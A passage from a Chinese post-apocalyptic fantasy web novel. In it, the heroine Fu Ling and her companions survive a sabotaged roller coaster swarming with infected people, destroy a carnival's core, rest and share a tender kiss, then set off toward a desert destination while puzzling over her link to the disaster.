人偶率先将可以快速制定策略的程承和林随安分别塞进了绿色和蓝色的通道,甚至两人还没来得及说一句话,就被人偶以“不要让其他乘客久等了”的话术半是礼貌半是强迫地将两人推进通道。
进入通道之前,程承转过头来,朝着伏苓做了个口型。如果她没看错的话,他说的应该是……
“站台”。
伏苓侧头看向自己靠着的公交站台,有些不懂程承是什么意思。
难道说,核心在这里?
但是不应该啊,核心五米之内肯定会失去异能,他们站在这里半天了,也没人表示自己异能消失。
林随遇也被叫走了。
伏苓瞥了一眼,他进入的是绿色通道,倒是运气好,和程承、冯辉在一起。
他也同样没来得及说什么,只是眸色中明显带着担忧:“注意安全。”
祝无忧看着快哭了,她点点头,声音带着颤音:“好。”
一番下来,几人几乎被拆得零零散散,公交站台上的注意事项里写着,一辆车只有四个座位,而此时,随安那条通道人数满了,程承那条还剩一个,剩下两条通道都还剩两人,只要她不被安排在黄色和红色通道,就起码能和一个自己人同行——
“这位小姐,黄色通道,请吧。”
祝无忧的脸瞬间白了。
三分之二的概率,她偏偏就中了!自己果然是非酋吧。
这段时间抽卡都抽中她想要的,她还以为是自己变欧了,没想到到头来最想是欧皇的时候,自己却偏偏还是非酋。
正胡思乱想着,一只手轻轻搭在她的肩膀上,祝无忧一抖,回过头看到了伏苓的脸,她猛地抱住伏苓,呜呜道:“你会不会也来黄色啊?”
还没等伏苓说话,人偶便笑着回答了她的问题:“当然不会啊,另一位小姐是红色通道哦。”
祝无忧更崩溃了,细想从临安一直到肃州,她几乎每一次都会有人与他同行,哪怕在丰镐被迫独自面对追杀自己的人,她好歹清晰地知道自己的同伴就在旁边。她早就习惯了被伏苓他们护在身后。
而此刻,她却要独自面对一个完全陌生的道路,伏苓他们与她的路线不会相交,她的身后空无一人,祝无忧又怎么能不怕。
“忧忧。”伏苓冷静的声音让她的理智倏然回笼,眼泪挂在她的睫毛上,祝无忧眼巴巴地看着伏苓,等着她下一句话。
伏苓道:“不用害怕,这过山车没你想的那么可怕,只是因为前路未知,所以才显得比较吓人。”
祝无忧抽了抽鼻子,不知道是因为伏苓的安慰奏了效,还是因为伏苓本身就能让人安心,她心中的恐惧莫名消散了一些:“真的吗?”
伏苓轻轻嗯了一声:“你的卡牌的进步我们都有目共睹,接下来你一个人去面对完全不成问题。遇到什么就抽卡,狠狠地砸出去。”
人偶有些不耐烦了,催促道:“请两位女士尽快前往。”
伏苓轻飘飘地扫了它一眼,人偶也不知为何突然噤声。
伏苓垂眸,揉了揉祝无忧的脑袋,哄道:“别怕,大胆去做,一次过山车也就四分钟,我们五分钟后见。”
祝无忧抹了把眼泪,重重点头:“嗯,那我走了。”
伏苓颔首:“注意安全。”
等祝无忧的身影消失在通道中,人偶才再次怂怂开口:“可、可以走了吗?”
伏苓撇它一眼,突然举起能量枪,对准站台就是一枪。
“砰”。
巨大的声响过后,站台却纹丝不动。
伏苓歪了歪脑袋。
“伏苓小姐。”人偶突然露出一个与人类别无二致的笑容,但却显得格外不协调,就像是一个长期观察人类的不明生物,学着人类的样子在微笑:“等您体验完我们的极夜电光,说不定站台就没有这么坚不可摧了。”
伏苓笑了一声:“是吗。”
她往前走了几步,笑容玩味:“那你这句话的暗示,是不是有些太明显了呢?”
人偶笑容放大:“我这怎么能算是暗示呢?”
他微微侧身弯腰,做出了一个略显恭敬“请”的手势:“别让其他乘客等急了。”
伏苓嗤笑一声,勉为其难地走进了红色通道。
70. 废弃游乐场07
通道不算长,两侧都贴着红色的光带,像是走进了时空隧道,很快就抵达了终点。
听到脚步声,秦晚微微侧头:“伏苓?”
伏苓应了一声,看了看周围的情况。
四周依旧是比较暗的,墙壁上转着炫彩的光,前方的轨道上停着一个四座的车厢,两个双人座一前一后。
除了她和秦晚还有一个人,那人笑得有些尴尬:“叫我小丁就好。”
伏苓点点头,顺嘴问道:“你的异能是什么?”
小丁连忙道:“隐身,但是在这可能发挥不了什么用处。”
他挠了挠头:“希望能平安回来。”
车厢外的光条亮起,车门缓缓打开。
小丁额了一声:“我们只有三个人啊?要不我坐前面,你们两个女生坐在后面吧。”
伏苓没什么意见,率先进了车厢,秦晚在她身侧坐下。
车门缓缓关闭,三人将压肩拉下来,系好安全带。
秦晚晃了晃压肩:“感觉还是不结实。”
闻言小丁转过头来,叮嘱道:“这设备几年没维修,过程中可能会有一些故障,你们要小心些。”
伏苓点点头:“知道。”
可能是在等其他线路上的人坐好,车厢没什么动静。
秦晚微微侧头:“忘了说,之前谢谢你。”
伏苓疑惑抬眼:“谢我什么?”
秦晚勾唇笑了笑:“我也不知道该怎么说,想为很多事情谢谢你,可能……更多是因为你能像看待正常人一样看待我,和其他的感染者,只有你把我们真正当成了人。”
也谢谢你的到来,让原本感到绝望的我终于看到了一线生机。
伏苓没想太多:“顺手的事,不用放在心上。”
车厢门缓缓关闭,周围不知藏在何处的音响开始放起了轻缓的音乐。
秦晚抓紧压肩上的扶手,抿着唇笑了:“希望五分钟后,还能跟你见面。”
音乐声突然高昂,与此同时,车厢如离弦之箭,没有任何加速的过程,直接冲上云霄。
站台顿时空落下来,不知从哪掉下来的螺丝甩到控制台上,发出一声清脆的响声。
强烈的推背感席卷而来,将几人牢牢钉在椅背上,几乎只在几秒之间,车厢已经冲上了几十米的高空。
附近的轨道近在咫尺,伏苓甚至短暂地听到了来自别的车厢上的喊声。
以及那一声极其清脆的破裂之声。
坐在伏苓前面的小丁似乎也听到了,转过头来疑惑道:“你们有没有听见什么……”
话音未落,车厢沿着轨道直直冲向下方,机械碰撞的声音越来越大,秦晚猛地意识到什么,厉声道:“不要抓压肩!”
“砰”。
巨大的声音从伏苓耳边炸开,压肩竟然从头顶处生生裂开,要知道,这辆设备的安全措施只有紧紧扣住的压肩,除此之外,什么都没有。
压肩破碎的那一瞬间,伏苓被迫腾空而起,完全脱离了设备,几乎要被飞驰的车厢甩在后方。
她反应迅速,飞快转身抓住椅背,风吹散了她的长发,伏苓听见了压肩砸在轨道上的巨大声响。
她在风中艰难睁眼,看到秦晚和小丁也同样境地艰难,秦晚抓着还剩下一半的压肩,小丁则半个身子都到了车厢外面,正死死抓着侧边的栏杆。
伏苓一脚踩住车厢后壁,稳住自己的身形,试图去够更危险的小丁。
但下一瞬,左右两侧不知从何处扑来数个感染者,准确地踩在飞速下降的车厢上,龇牙咧嘴地扑向几人。
小丁立马意识到不对,毫不犹豫地发动了隐身的技能,消失在伏苓的视线中。
但伏苓此刻也没心思去计较这些了,她一脚踩在侧边一个感染者的抓向她的爪子上,手臂发力让身体在空中甩了半圈,另一条腿借力狠狠踹向近在咫尺的感染者。
在飞速行驶的车厢作用下,被踹中的感染者几乎没有停留半分,如炮弹般被甩至后方,与轨道撞击出巨大的声响。
车厢顺着轨道滑向最低点,只是仅仅一瞬就再次向上冲去,周围的感染者愈发多了,他们死死扒着车厢外壁,将整个车厢都挤得满满当当。
伏苓单手抓住椅背上的铁杆,另一条手臂弯起,毫不留情地将手肘砸向感染者。她终于空出手来甩出软剑,伴着刺耳的机械声,一侧的感染者被尽数绞杀。
她还没来得及松一口气,整个人被猛地向一侧歪倒,身体狠狠砸在车厢上。
碰撞声从车厢底部传来,似乎是车轮断裂,半个车厢撞上轨道。
而此刻,他们已经以势不可挡的速度冲上了最高点。
风吹开伏苓乱飞的发,露出冷静到极致的眸子。
这里不仅仅是极夜电光的最高点,也是整个嘉年华的最高点。
一座高高的山峰伫立在层层轨道之中,层峦叠嶂,树木是迷乱的颜色,青色的电子泉水从山峰飞流直下。
而在山峰周围,四个颜色的轨道交织在一起,每一个轨道的最高点分布在四个角落,此刻,车厢在同一时刻来到顶点。
血雾凝结,在轨道四周飞速跳窜。
一声清脆的鸣啼响彻天际,火红的凤凰自半空现出身形,将即将坠落轨道的车厢拨正。
眼花缭乱的光芒中,几人仿佛看见了隐藏在黑夜里,独属于对方的眸子。
停在最高点的四个车厢在同一时刻毫不客气地向下冲去,如同侧边倾倒而下的悬崖之水,伏苓双脚收回踩在椅背上,发出警告:“准备迎接撞击!”
从几十米高空坠落至最低点几乎就在转瞬之间,车厢疯狂震颤,如山崩地裂般几乎要将所有人甩出车厢。
随着巨大的碰撞声,车厢狠狠撞在轨道上,发出破裂之声。
伏苓被惯性甩向半空,身体被她硬生生凭着手臂蛮力拽了回来。
耳边传来断裂的声音,秦晚死死拽着的半个压肩裂成两板,她整个人腾空而起。
周围不知从哪冒出来无数感染者,从四面八方冲向车厢。
而此刻,车厢速度居然还没有停下分毫!
伏苓手臂发力将身体抬起,腿部动作快出残影,将周围感染者踢飞,同时双手猛地松开椅背,跳出去抓住了秦晚的手腕。
车厢再次冲了上去,带着箱底的火花,伏苓眼疾手快抓住车厢尾部横着的铁杆。
“啊!”撕心裂肺的惨叫传来,伏苓抬头,不知何时失去隐身效果的小丁被从左边扑过来的感染者带出车厢外。
他双眸死死瞪着,一只手越过感染者试图抓住栏杆。
然而已经无济于事,感染者扑上他的身体,咬上他的肩膀,带着他从伏苓身侧坠落深渊。
伏苓低头看着极速消失在视野里的小丁,一时不知该说些什么。
“伏苓!”轨道开始频繁地上上下下,一个大圈结束,伏苓的手已经开始微微颤抖。
她尝试几次把秦晚甩进车厢,但都被颠簸和快速地上下坡打断。
秦晚感受到她的勉强,抬着头,目光透过层层白布:“松手吧,你会撑不住的。”
伏苓没说话,她抬起眼,穿过破裂的座椅看到了前方的轨道轨迹。
——急转弯。
之后车厢会进入室内轨道。
汗水顺着她的鬓角落下,滴落在两人交握的手上。
伏苓的笑声隐没在巨大的机械轰鸣中。
车厢一路火花带闪电地滑向前方,以极快的速度甩过急转弯,惯性将两人甩向一侧,伏苓借力将秦晚甩进车厢,自己也顺着力道滚进车厢内,脚踩着车厢壁稳住了自己的身形。
她正欲缓口气,眼前陡然出现了一张横着的、带血的脸。
——是孙亿。
伏苓瞳孔微颤。
艳红的血从他的额头流过山根滑向下巴,他还有一点意识,下意识张嘴求助:“救我……”
下一瞬,他直直飞向另一侧,猛地撞击在轨道之上,不知是哪个车厢疾驰而过,与他撞了个正着。
鲜血飞溅,骨肉与机械的挤压碰撞声仿佛已经传进了伏苓的耳中。
她的目光短暂地为他停留一秒,又很快移开。
车厢轰鸣着冲进黑暗之中,周围顿时一片漆黑。
电光火石之间,棍棒与□□碰撞的声音从一侧传来。
秦晚声音冷咧,一挥棒将扑上来的感染者一一打回,道:“小心,很多感染者。”
相对于普通人需要在进入黑暗后适应几秒,她早就习惯了与黑暗相伴,自然觉察到了,在周围暗下的那一瞬间,从四面八方扑来的感染者。
伏苓轻轻眨了眨眼睛,终于适应了黑暗,其实也不过短短几秒,但周围的感染者已然多到令人头皮发麻。
她侧目看去,只见车厢一侧的栏杆被人大力扯下,秦晚单手拎着栏杆一边,大刀阔斧地扫荡了一圈的感染者。
前方的轨道上似乎有无数脚步声,正冲着他们而来,多半也是感染者了。
车厢在一次次冲击下,速度慢慢减缓下来。如果不能清扫前方的感染者,他们的车厢将没有办法抵达终点。
伏苓甩出软剑,一只手抓着椅背,轻巧地翻至半空,剑身在感染者之中飞速游窜,几秒之间,便将周围感染者尽数逼退。
她另一只手抽出能量枪,抬手对准前方。
随着一声巨大的枪响,无数惨叫声和碰撞声在前方响起,伏苓面色冷淡,又将枪对准后方,强劲的后坐力让车厢的速度再次提升。
室内的轨道虽然不及外面那般惊心动魄,也同样遍布着急转弯和左右摇摆。
伏苓下盘极稳,即便上半身不可抑制地随着车厢左右摇晃,软剑依旧肆意,剑身闪烁出的亮光几乎成为黑暗中的唯一色彩。
秦晚一棒子十个感染者,将从伏苓剑下逃出来的感染者一一打回,她转过头,白色布料随风飘荡:“跟你在一起的时候,好像战斗都是酣畅淋漓的。”
伏苓一脚踹开侧边试图抱紧她大腿的感染者:“那看来我应该挺厉害。”
胜利近在眼前,秦晚终于松了口气,笑道:“是非常厉害。”
她顿了顿,不知心中澎湃从何而起,只在车厢抵达终点前道:“伏苓,现世残酷又令人作呕,但能遇到你,我想我应该是幸运的。”
暗无天边的黑暗中,能遇到这样一束如强光般的人,何其幸运。
蓝光刺破黑暗,照亮了前方的路。
轨道红得似乎能滴血,侧边是一个大型类似公交站台的存在。
伏苓扫了一眼,很快将注意力放在依旧飞速行驶的车厢上,似乎是因为一边车轮丢失,仅剩的车轮发出刺耳的声响,车厢完全无法减速停下。
伏苓厉声道:“秦晚,跳车!”
随着她一声令下,两人的身影几乎重叠,毫不犹豫地从车厢上跳下,在站台上滚了两圈才堪堪停住。
”砰”的一声巨响,车厢终于支撑不住,歪倒着撞向一侧的铁柱。
伏苓单膝跪在地上,看着化为碎片的车厢,微不可察地松了口气。
她抬手抹去满头的汗水,却发现自己的手已经因为力竭抖得不成样子。
其他车厢一个接一个地撞过来,满天尘埃中滚出一个又一个人。
伏苓笑了一声,站起来去扶离她最近的程承,她伸出手,笑了笑:“爬不起来了?”
程承还在喘着粗气,听她这么说顿时笑了起来,梨涡又跳了出来。他伸手握住伏苓的手,借着她的力爬了起来,趁机将她拥入怀中:“确实爬不起来了,要你抱一下。”
伏苓揉揉他的脑袋,问:“情况怎么样?”
程承弯弯眼,注意到她的手一直在颤抖,便没有松开牵着的手,轻轻摁着她的手腕:“我们这一队没什么实力差的,所以都活下来了。”
说到这里,他皱了皱鼻子:“但其他车厢可能就未必了。”
伏苓点点头:“嗯,我们这死了一个。”
“我们这边死了两个。”林随安的声音传来,她明显遭遇了很多突发事件,脸上蹭了一鼻子灰。
伏苓笑得放松了些,道:“你没事就好。”
她走过去蹲在瘫在地上装死的祝无忧旁边,戳了戳她的脸颊:“干什么呢?”
祝无忧闭着眼,生无可恋:“别说了,我承受太多了。”
她睁开眼,看到伏苓的一瞬突然眼眶通红:“我再也不敢坐过山车了……”
伏苓笑着坐下,想到了自己在车厢运行过程中看到的场景:“那个火凤凰是你召唤的吧?”
祝无忧有气无力地嗯了一下。
伏苓弯眼:“这么厉害?”
祝无忧唰地一下爬了起来,眼前一亮:“真的吗?嘿嘿嘿我也觉得。”
见她终于有了点力气,伏苓揉揉她的脑袋:“嗯,我们忧忧也变厉害了。”
她注意到,与祝无忧一同的几个人都没有出现,怎么会猜不到发生了什么?
但在这段惊险的情况下,即便是伏苓也没有办法救下同行之人,又怎么舍得祝无忧因为他人的逝去而责怪自己?
她单枪匹马闯过起起落落的过山车,就已经非常非常不容易了。
“这是?”林随遇的声音响起,他托着下巴绕着公交站台打转。
只见站台从中间裂开,向外移动,露出了中间悬在空中的红色核心。
伏苓皱了皱眉。
林随遇一脸惊诧地回头看向他们,手指着核心:“这什么意思?主动给我们了?”
要知道,路上遇到的每一颗核心都是藏着掖着,要他们主动找到才能毁掉。而此刻,这颗核心居然自己出现在了他们眼前?
祝无忧也托着腮:“难道这是给我们的过关奖励?”
林随安也在她身边坐下,她可觉得没这么简单:“通关奖励是把自己献给我们,让我们把它给毁掉?”
这也太无私了?
“没错!这就是你们的通关奖励!”熟悉的声音带着癫狂响起,人偶的投影出现在公交站台的广告位上。
他的瞳孔变成了猩红色,笑容放大,状若癫狂,语速飞快:“恭喜你们恭喜你们恭喜你们!让我看看你们死了几个哈哈哈一、二、三……”
他一声比一声高,声音愈发刺耳难听:“四个!居然才死了四个呜呜呜你们为什么没有都死在这?!但是没关系四个也足够了哈哈哈哈!”
祝无忧有些害怕地抓住了林随安的胳膊,小声道:“他他他怎么了?”
“我怎么了?”人偶突然停下跟rap一样的话语,面露兴奋地看着祝无忧:“我在高兴啊妹妹,你不高兴吗?你居然活下来了!”
林随安将祝无忧护在身后,膝盖微微点地,做出防御的姿态。
伏苓单手拿起核心,靠在站台上一下一下抛着玩:“所以你把你自己送给我们了?”
人偶突然安静了下来,猩红的眸子紧紧盯着伏苓。
程承下意识挡在伏苓身前,但人偶却丝毫不管他,穿过程承的身影与伏苓对视。
空气瞬间静默下来,暗流涌动。
“哈哈哈哈!”人偶再次疯狂大笑,又神经质地停下,看向伏苓的眸子里满是欲望:“当然了,我的伏苓大人。我的一切都是属于您的。”
程承一阵恶寒,红雾猛地化成利剑袭向站台,瞬间将站台捅出一个巨大的窟窿,露出内里断裂的电线。
“愚蠢的凡人!”人偶再次出现在另一边的公交站台上,它丝毫不愿多看程承两眼,而是热烈地盯着伏苓:“来吧!杀了我吧!所有核心,不,所有人,所有的一切生来就是您的垫脚石!让我为成为您脚下的石头,助您走向巅峰!”
伏苓将核心放在手里把玩,垂着眸不知在想些什么,周围再次陷入了死寂。
她抬头:“说完了?”
人偶殷切点头:“是的!我已经说……”
伏苓干脆利落地单手捏碎核心,人偶顿时如同卡了壳一般愣在原地。
两秒后,人偶恢复了正常的模样,语调平缓标准:“各位游客朋友们,出口在右侧蓝光处,下楼梯请注意安全,感谢您选择极夜电光!”
伏苓拍了拍手,将粉末掸下来,看向冯辉:“冯叔,我们要去童话镇的酒店休息两天,一起吗?”
不知是否因为同伴的接连离开,冯辉仿佛老了十岁,他看向唯一剩下的同伴,苦笑:“当然,我们也没精力再做别的了。”
他们顺着楼梯走出建筑。
砰——
身后烟花声响起,众人回头。
半空中,缤纷的烟花不断攀升。
绽放。
又缓缓消散。
以一种近乎神圣的姿态,划破寂静,将沉睡的夜色唤醒。
不知是在祝贺生者之生,还是在庆祝死者之死。
……
伏苓穿着酒店的宽大浴袍,仰躺在床上。她眼睛睁得大大的,望着天花板发着愣。
明明身体精神都极度疲惫,她却依旧无法入眠。
房门叮咚一声被人打开,程承拎着一个塑料袋进来,顺手将门关上。
他坐到伏苓身边,将塑料袋放在床上:“没睡着吗?”
伏苓“嗯”了一声,爬了起来,看着程承从塑料袋里拿出一瓶膏状物品:“这什么?”
程承打开盖子,刺鼻的药味袭来:“药啊,从一楼酒店医务室翻出来的,你手臂肌肉拉伤,我帮你按摩会。”
伏苓乖乖伸出一只手,程承挖了点药膏,顺着肌肉慢慢揉捏,他垂着眸:“在想什么?”
伏苓任由他动作:“在想,核心为什么对我是那个态度。”
她顿了顿,百思不得其解:“就好像我真是他们主人一样。”
程承笑了笑,没说话。
伏苓目光落在他身上:“你好像一点都不惊讶。”
程承又挖了点药油,动作温柔地从手臂摁到手心:“嗯。”
他叹了口气:“猜到一点。”
伏苓穷追不舍:“猜到什么?”
程承垂着眸:“猜到……你跟这场灾难有着千丝万缕的关系。”
屋子里沉默了下来,伏苓皱眉:“你是说是我导致了雨灾?”
似乎是没想到她会这么说,程承失笑,摇了摇头,抬眼看向伏苓:“不是。有关系未必是你为主导,也可能是受害者,或者被无辜扯进来的载体。”
“载体?”伏苓有些不明白:“什么载体?”
程承拍拍她另一只手,示意她伸过来,又轻轻地嗯了几秒,似乎在思考该怎么说:“只是一个笼统的概念,比如说实验者、样品之类的,都可以归在这个概念里。我不觉得你是主动被包含在这场灾难中的,大概率是被动,或者说,是不知情的载体。”
伏苓皱着眉没说话。她明白程承的意思,她被迫卷入了一场巨大的阴谋里,毫不知情。
甚至,她很可能是最终收益者。
她看着程承安静揉着她手臂的样子,突然道:“如果我知道呢?”
程承愣了一瞬,抬眼与她对视:“知道什么?”
伏苓:“如果我知道这场灾难的最终赢家是我,我还带着你们深入肃州,用你们的生命填补我脚下的路呢?”
程承看着她,突然弯眼笑了:“你会吗?”
伏苓看到他笑,也没忍住弯唇,抬脚踹了踹他的大腿:“你笑什么?”
两人的手都沾上了药油,滑滑的。
程承顺着她的手心握上她的指尖轻轻揉捏:“如果你真是那种人,就不会因为目睹其他人的死亡而睡不着了。”
伏苓安静了一瞬,心中不知为何泛起涟漪。
情不知所起,或许是因为只要对方在身边,爱意便会慢慢集聚,直到漫出河堤,才会讶然发现,原来两人之间的感情已然到了这等地步。
伏苓突然轻声道:“程承,你亲我一下。”
程承微微一愣,呆呆看着她,手中动作也慢慢停了下来。他耳尖泛起一点红,小声道:“怎么突然……”
伏苓往前凑了点,催促:“我现在就想亲。”
程承抿唇,歪头凑上去吻上了伏苓的唇瓣。
没有激烈的欲望碰撞,没有带着血腥气味的撕咬,他只是安静地贴上了伏苓的唇,用满腔的爱意将自己的呼吸都交给对方。
沾满药油的手挤入指缝,他伸出舌头,轻柔又暧昧地舔舐着伏苓柔软的唇瓣,又用贝齿轻咬,手掌扶在她的后背,感受着她的震颤和剧烈的心跳声。
奇怪,明明早已更进一步,却仍然会醉心与安静的亲吻,心跳也依旧会响如擂鼓。
他向前逼近几分,长舌探入,勾住伏苓的舌尖,与她的呼吸都缠绕在一起。
“咚咚咚”。
突兀的敲门声把两人从溺水般的情绪中拉扯出来,程承微微松开伏苓,看着她的眸子,几秒后两人都笑出了声。
他起身,又垂头去亲了亲她的唇瓣,声音低哑热烈:“伏苓,我爱你。”
伏苓笑着踹
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了他一脚:“知道了知道了,快去开门。”
程承手上还站着药油,用胳膊肘打开了门,祝无忧站在外面,瞬间注意到了他这个不一般的动作。
祝无忧如临大敌:“不是吧?我打扰你们俩那个了?”
程承:“……没有。”
祝无忧不信:“那你手上是什么,不是那个什么油吗?!”
程承不想回话,转身进了房。
祝无忧探头探脑,大声嚷嚷:“能进吗我真能进吗?我进了啊!”
她小心翼翼地进了屋,对上了伏苓略显无奈的眸子。她顿时喜笑颜开,扑上去道:“伏苓,你们干嘛呢?”
程承拿纸巾擦了擦手:“她肌肉拉伤,我给她擦药。就你一天天想东想西。”
祝无忧不服气:“我想到那些不是正常?”
“我是来给你送治疗牌的,随安说大家可能或多或少都受了点伤……”她顿了顿,突然疑惑:“对啊,你们为啥不直接让我抽卡治疗啊?”
程承突然沉默,伏苓也愣愣地眨了眨眼睛。
他们俩似乎……还真忘了找祝无忧帮忙。
程承轻咳了一声,正准备解释,却没想祝无忧已经从这短暂的几秒钟里悟出来些道理,她瞪大眼睛:“你故意的?”
程承:???
祝无忧:“我知道了!你就是想帮伏苓按摩吧!我靠那我岂不是一语道破天机?”
伏苓挑了挑眉,居然也开始思索起来:“原来是这样的吗?”
程承只觉得脸颊都开始发烫,连忙解释道:“我没有!是真的忘记了。”
祝无忧笑得邪恶:“我懂,我都懂。”
程承:……你说说你懂什么了??
祝无忧扔了两张治疗牌在桌上,跳出了屋子:“你们俩继续吧!我就不打扰你们了——”
她突然想起什么,扒着门对伏苓道:“哦对了,秦晚找你,说有空去露台找她一下,她一直在。”
门被关上,程承将治疗牌用了一张在伏苓身上,看着她身上的青紫消下去后才问道:“现在去吗?”
伏苓晃了晃腿:“去吧,反正也睡不着。”
程承点点头:“那我在房间里等你。”
所谓露台,其实就是童话酒店高层一个露天的小餐厅,从这能看到嘉年华的大部分景色。
伏苓走进来的时候,空中始终萦绕着的那层灰色已经消散,露出了真实的天空。此刻万里无云,明月当空,微风吹来,很是舒服。
秦晚坐在外墙上的凹陷处,半个身子都在外面,看上去格外危险。
听到声音,她转过头,之前用来蒙眼睛的白布染上灰尘,她不知从哪弄来了个新的:“来了?”
伏苓撑着外墙跃上去,坐在她身侧的凹陷里,闻言玩笑道:“不是看不见吗?怎么能知道是我?”
秦晚低头笑了一声,恰好此刻微风吹过,将她的发丝扬起:“你跟别人还是不一样的。”
伏苓疑惑地“哦”了声。
感受到她认真的视线,秦晚意识到她可能是误会了,笑着解释:“不是你想的那样,只是因为有你在的地方,我都会觉得很轻松。”
伏苓看着她的侧脸,有些不理解:“为什么?我们好像没有见过几面。”
可能最深的感情波动在于她在车厢上救了秦晚。
除此以外,她想不到自己对于秦晚的特殊之处。
秦晚低声附和:“是啊,为什么呢。”
或许是风大了些,将她的话语吹散,伏苓没听清:“你说什么?”
秦晚摇摇头:“没什么,我在海盗堡内找到了小水,他的意识还没有完全恢复,但已经能勉强能跟上我的指令。”
她侧头,用听觉和嗅觉分辨着伏苓的情绪变化:“你要见一见吗?”
露台上短暂地安静了几秒,伏苓摇摇头:“不了吧。他应该也不愿意被我们看到自己现在的样子,不然也不会在意识消散前逃离我们的视线了。”
秦晚似是早有预料,没再说什么。
伏苓却是转头询问:“还没问过你,这么强大的核心干扰,你怎么保持意识的?”
秦晚转头面对着料峭寒风,脑后的布条随着风缓缓流淌。她笑了一下:“伏苓,很多东西,是要用心去抵抗的。”
“什么?”伏苓没懂。
“当你极度厌恶抗拒一个东西的时候,世界上就没有什么能摧毁你的意志。”
秦晚又转过头看,用那双被白布蒙得死死的眼睛认真地注视着她,“核心被毁之后,对我来说其实也没有太多变化,或许是因为我一直保持着意识清醒,只是感觉到自己身体的控制权被我掌控更多了。但是看其他感染者的情况,似乎要比之前好上一点,也有几个人能偶尔恢复意识。”
但这终究只是权宜之计,是感染者的人,依旧是感染者。
这让秦晚不免有些落寞:“到头来,我们还是这个半死不活的样子。”
“会有转机的。”伏苓的声音响起,坚定又温柔:“虽然我不敢担保,但我相信世界不会一直这样下去,你们也是。”
她顿了顿,突然道:“你知道在灾难发生之前,感染者其实有一个更加广为人知的名称。”
秦晚道:“你是说……丧尸?”
伏苓点点头:“其实,按照常规来说,取一个民众更容易接受的概念名称会更加方便,但是国家并没有这么做,是因为他们相信,你们只是受到了一种病毒的感染,你们并非无知无觉的尸体,你们只是生病了,感染了,只要后续治疗得当,就会好起来的。”
秦晚愣愣地侧头看她。
变成感染者将近八年,她几乎一直将自己当成了非人看待,即便大家确实只会称呼他们为感染者,但秦晚并没有想到这一层。
这是第一次有一个人告诉她,她只是生病了,她还是一个人。
在这一瞬间,她异常渴望摘下眼罩,亲自用目光描摹伏苓的面庞。
半晌,她才哽咽道:“好。”
……
这场战斗实在耗费心思,几人在酒店里休息了两天,才再次聚集在一起。
冯辉也缓了过来,只是笑容中多了几分沧桑。他看着他们依次上了车,叮嘱:“之后要遇到的事情可能会更加危险,你们一定要注意安全。”
程承点点头:“好,你也是。”
伏苓拉开后排的窗户,朝着他们挥了挥手。
嘉年华内曾经有着数千人,而此刻能站在这里目送他们离开的却屈指可数。
秦晚靠得很久,声音轻轻:“注意安全,等你回来,我带你在金城好好逛一逛。”
伏苓:“好。”
车辆缓缓开动,离开了金城的范围,眼前的城市景色渐渐被黄沙所替代,伏苓一个人霸占最后一排的位置瘫着:“你们知道往哪走吗?”
林随遇正开着车,闻言点开电子屏幕:“说实话,我不知道,但是S47知道。”
“哦?”伏苓睁开一只眼:“它告诉你的?”
“我的伏苓大人,您起身看看妾身这的屏幕呢?”林随遇咬牙切齿。
伏苓把睁开的那只眼睛又闭上了:“我不。别叫我大人,害怕。”
林随遇惊奇,眼睛直瞟后视镜:“你还害怕?”
林随安拍了他一掌:“看路。”
她解释道:“从我们离开金城的范围后,S47就自动显示出了目的地。”
祝无忧扒上椅背:“是什么?”
林随安摊手:“不知道,是一堆星号,但肯定是肃州境内。”
她将地图拉小,露出了目的地周围无边无际的黄沙区域:“按照地图上显示的位置来看,目的地应该在沙漠中央。”
漫天黄沙,一条沙中高速蜿蜒着向前,林随遇打开自动驾驶,靠在椅背上:“好了,终于可以休息一下了。”
他顿了顿,透过后视镜去看,一直沉默不语的程承:“想什么呢?”
程承愣了一下,意识到他是在跟自己说话,叹了口气:“没什么,就是感觉谜团太多,有点乱。”
说到这,林随安提议道:“反正到目的地还要一段时间,我们不如捋一捋思绪?”
祝无忧瘫倒在柔软的椅背里:“不是我们,是你和程承。”
林随安无奈地看了她一眼,林随遇笑了两声:“怎么,知道自己跟不上啊?”
祝无忧顿时精神起来,嚷嚷道:“怎么了怎么了,谁说我跟不上?”
目前疑点太多,程承回忆了一下之前的经历:“目前最奇怪的其实就是那天核心对伏苓的态度,为什么对她那么恭敬?伏苓在这场灾难中又到底扮演着什么样的角色?”
伏苓躺在椅背上摇摇头,棒读着说:“伏苓不知道哦。”
祝无忧笑嘻嘻地凑过来:“伏苓你卖萌呢?”
伏苓捏着她的脸将她推走。
林随安看着他们俩打闹笑了一会,正色道:“我觉得伏苓在这件事情中一定扮演者非常重要的角色,而且,叔叔阿姨不是还在肃州吗?虽然这话不太好听,但我觉得多半跟他们脱不了干系。”
伏苓没说话。
“而且,核心和雨灾、异能,甚至感染者的关系都非常密切,如果核心与伏苓有关联——”林随遇说:“是不是代表着,这场灾难也和伏苓有着密不可分的关系?”
伏苓突然笑了一声,坐了起来:“你们说得好像我是个反派一样。”
众人都笑了起来,祝无忧深表赞同:“我刚刚也想说了。”
其实总总线索之下,伏苓与这场灾难的关系几乎昭然若揭,但他们却丝毫没有怀疑过伏苓本身,而是默契地相信伏苓也被蒙蔽在外。
林随安感慨:“想想好奇怪,我们明明才并肩作战两个星期,就已经敢这么相信对方了。”
放在以前,以她在军方的谨慎程度,这种事情她想都不敢想。
祝无忧嘿嘿一笑:“可能这就是缘分吧!”
世间太多感情纠葛无法理清,只好统一归结于,缘分。
伏苓靠在窗户上勾了勾唇,虽然早有预料,但终于要看到真相,还是有些近乡情怯的意思。
她眼珠轻轻转动,对上了程承深邃的眸子。
他好像一直没怎么参与聊天,余光一刻不停地落在自己身上。
伏苓笑了笑,她知道程承思虑重,用口型问道:“看我干什么?”
程承弯弯眼睛,长长的睫毛笼盖住他眸中浓厚的情绪:“没,想你。”
71. 沙土下的罪恶01
“不是吧,程承你要不跟伏苓坐一块去?”祝无忧一脸无奈,捂着心口跟林随安控诉:“你不知道他们俩多腻歪,天天黏在一起。”
林随安笑得眉眼弯弯:“小情侣热恋期,理解理解。”
程承慌乱眨了眨眼睛,扯开话题:“咳……你们记不记得核心最后说的那些话?”
车内稍稍安静了些,他顿了顿:“不难看出,金城的核心并不在乎自己会不会被毁灭,甚至渴望被伏苓毁灭。比起这个,它更在意的是过山车上死了几个人。”
“而且,在过山车上死的人,都是异能者。”程承说:“我知道这有很多理由可以解释,比如我们一行人中没有异能的人只有伏苓和秦晚,但我总觉得,核心的目的就是为了让异能者死在那里。”
“说到这个,”林随遇插嘴道:“其实我也有这种感觉,但我这么觉得的原因是,过山车的分组太刻意了。”
他们队伍里有四个异能者,祝无忧战力成谜,基本上打不出什么伤害;林随安的异能重点没有点在攻击上,而更多是对她自身实力的辅助。
